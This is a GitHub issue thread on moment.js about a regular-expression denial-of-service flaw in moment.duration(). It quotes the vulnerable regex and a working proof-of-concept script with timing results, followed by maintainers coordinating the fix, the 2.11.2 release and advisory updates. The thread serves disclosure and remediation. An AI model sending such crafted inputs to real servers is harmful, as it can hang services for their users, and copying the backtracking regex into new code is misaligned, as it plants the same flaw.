Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Regular Expression Denial of Service #2936

Closed
joeybaker opened this issue Feb 1, 2016 · 18 comments

Comments

@joeybaker
Copy link

commented Feb 1, 2016

Via the Node Security Project: https://nodesecurity.io/advisories/55

Overview

moment is vulnerable to regular expression denial of service when user input is passed unchecked into moment.duration() blocking the event loop for a period of time.

"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time." [1]

It's not a huge amplification it takes about 25k characters to get 1.1 seconds however that's well under most servers max request size so it's certainly exploitable.

The regular expression in question

moment/2.10.6/moment.js

1679 var aspNetRegex = /(\-)?(?:(\d*)\.)?(\d+)\:(\d+)(?:\:(\d+)\.?(\d{3})?)?/;

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    > var result = "";
    > for (i=0; i<=len; i++) {
        > result = result + chr;
    > }

    > return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    > console.log("COUNT: " + i);
    > var str = '-' + genstr(i, '1')
    > console.log("LENGTH: " + str.length);
    > var start = process.hrtime();
    > moment.duration(str)

    > var end = process.hrtime(start);
    > console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
@EvHaus

This comment has been minimized.

Copy link

commented Feb 1, 2016

+1 Hoping this can be addressed asap.

@mj1856

This comment has been minimized.

Copy link
Member

commented Feb 2, 2016

Thanks for bringing this to our attention. Is there a recommended approach to resolving this besides removing the feature?

@joeybaker

This comment has been minimized.

Copy link
Author

commented Feb 2, 2016

http://davidvgalbraith.com/how-i-fixed-atom/ is a look at how to fix a similar problem. From a quick look the double (?: operators are likely the cause of the problem.

Unfortunately, I likely won't have time to dig into for a while, so I'm not much use for a fix :(

@evilpacket

This comment has been minimized.

Copy link

commented Feb 2, 2016

We're still working out the kinks to our process. I should have opened a public issue when we issued the advisory after sitting on it for a while with no response. My apologies.

I did ask the community if there is anybody that can help out in addressing this. Hopefully somebody is able to dedicate the time.

@mj1856

This comment has been minimized.

Copy link
Member

commented Feb 2, 2016

@evilpacket - no worries, but perhaps it would be better to open an issue and link to it in the advisory? On a project like this one with multiple collaborators, it's not clear whose email it was sent to. Here at least we can ask for help from those familiar with this type of attack. Thanks.

@mj1856

This comment has been minimized.

Copy link
Member

commented Feb 2, 2016

A PR would be greatly appreciated from anyone. Thanks.

@mj1856 mj1856 added the Up-For-Grabs label Feb 2, 2016

@mj1856

This comment has been minimized.

Copy link
Member

commented Feb 2, 2016

(I know, not quite an entry-level item for "up for grabs", but perhaps someone can help.)

@rvagg

This comment has been minimized.

Copy link
Contributor

commented Feb 2, 2016

looked like a fun distraction, so #2939

@mj1856

This comment has been minimized.

Copy link
Member

commented Feb 3, 2016

Closing issue. We'll track in PR #2939. Thanks!

@mj1856 mj1856 closed this Feb 3, 2016

@mj1856

This comment has been minimized.

Copy link
Member

commented Feb 3, 2016

This has been fixed in 2.11.2. Thanks everyone!

@joeybaker

This comment has been minimized.

Copy link
Author

commented Feb 3, 2016

Thanks @rvagg for the fix!

@EvHaus

This comment has been minimized.

Copy link

commented Feb 4, 2016

NSP is still yelling at us with:

 Warning: (+) 1 vulnerabilities found
    ┌───────────────┬─────────────────────────────────────────────────────────────────┐
    │               │ Regular Expression Denial of Service                            │
    ├───────────────┼─────────────────────────────────────────────────────────────────┤
    │ Name          │ moment                                                          │
    ├───────────────┼─────────────────────────────────────────────────────────────────┤
    │ Installed     │ 2.11.2                                                          │
    ├───────────────┼─────────────────────────────────────────────────────────────────┤
    │ Vulnerable    │ All                                                             │
    ├───────────────┼─────────────────────────────────────────────────────────────────┤
    │ Patched       │ None                                                            │
    ├───────────────┼─────────────────────────────────────────────────────────────────┤
    │ Path          │ web-platform@3.3.0 > moment@2.11.2                              │
    ├───────────────┼─────────────────────────────────────────────────────────────────┤
    │ More Info     │ https://nodesecurity.io/advisories/55                           │
    └───────────────┴─────────────────────────────────────────────────────────────────┘

Do they need to update something on their end?

@rvagg

This comment has been minimized.

Copy link
Contributor

commented Feb 4, 2016

"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0", @evilpacket can we get that updated?

@evilpacket

This comment has been minimized.

Copy link

commented Feb 4, 2016

I've updated the advisory to reflect the release of 2.11.2, I was away from the computer when it was released.

@Martii

This comment has been minimized.

Copy link

commented Feb 4, 2016

Sooooo just as a FYI... https://david-dm.org/OpenUserJS/OpenUserJS.org still states that it is present with 2.11.2 ... they might have a cache time that I'm not aware of but it's still showing there too.

@reedloden

This comment has been minimized.

Copy link

commented Feb 4, 2016

https://nodesecurity.io/advisories/55 is updated, so perhaps they just need
to refresh their own version of the advisory?

On Wed, Feb 3, 2016 at 8:22 PM, Marti Martz notifications@github.com
wrote:

Sooooo just as a FYI... https://david-dm.org/OpenUserJS/OpenUserJS.org
still states that it is present with 2.11.2 ... they might have a cache
time that I'm not aware of but it's still showing there too.


Reply to this email directly or view it on GitHub
#2936 (comment).

@Martii

This comment has been minimized.

Copy link

commented Feb 4, 2016

@reedloden
Yah I am subscribed to the direct feed but there may be some residual fallout from other projects that handle these types of advisories.

maggiepint added a commit to maggiepint/moment that referenced this issue Feb 4, 2016
maggiepint added a commit to maggiepint/moment that referenced this issue Feb 4, 2016
wraithgar added a commit to wraithgar/ambit that referenced this issue Feb 4, 2016
fix(package) update moment to newest version
There was a security advisory affecting moment, updating to 2.11.2
The problem was in moment.duration, which this library doesn't use,
but at least by requiring this version we will 'float' any libraries
that require this and moment ^2.0.0 into using the version that's
patched against the regex DOS.

See moment/moment#2936 for info on the security
vulnerability
wraithgar added a commit to wraithgar/caber that referenced this issue Feb 4, 2016
fix(package) update moment to newest version
There was a security advisory affecting moment, updating to 2.11.2
The problem was in moment.duration, which this library doesn't use,
but at least by requiring this version we will 'float' any libraries
that require this and moment ^2.0.0 into using the version that's
patched against the regex DOS.

See moment/moment#2936 for info on the security
vulnerability
Mithgol added a commit to Mithgol/fido2rss that referenced this issue Feb 8, 2016
Mithgol added a commit to Mithgol/node-twi2fido that referenced this issue Feb 9, 2016
Mithgol added a commit to Mithgol/node-fidonet-jam that referenced this issue Feb 10, 2016
sereysethy added a commit to sereysethy/moment that referenced this issue Mar 14, 2016
@yogananda1

This comment has been minimized.

Copy link

commented Nov 24, 2017

Can any one comment on this version still vulnerable

//! moment.js
//! version : 2.8.4
//! momentjs.com

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
8 participants
You can’t perform that action at this time.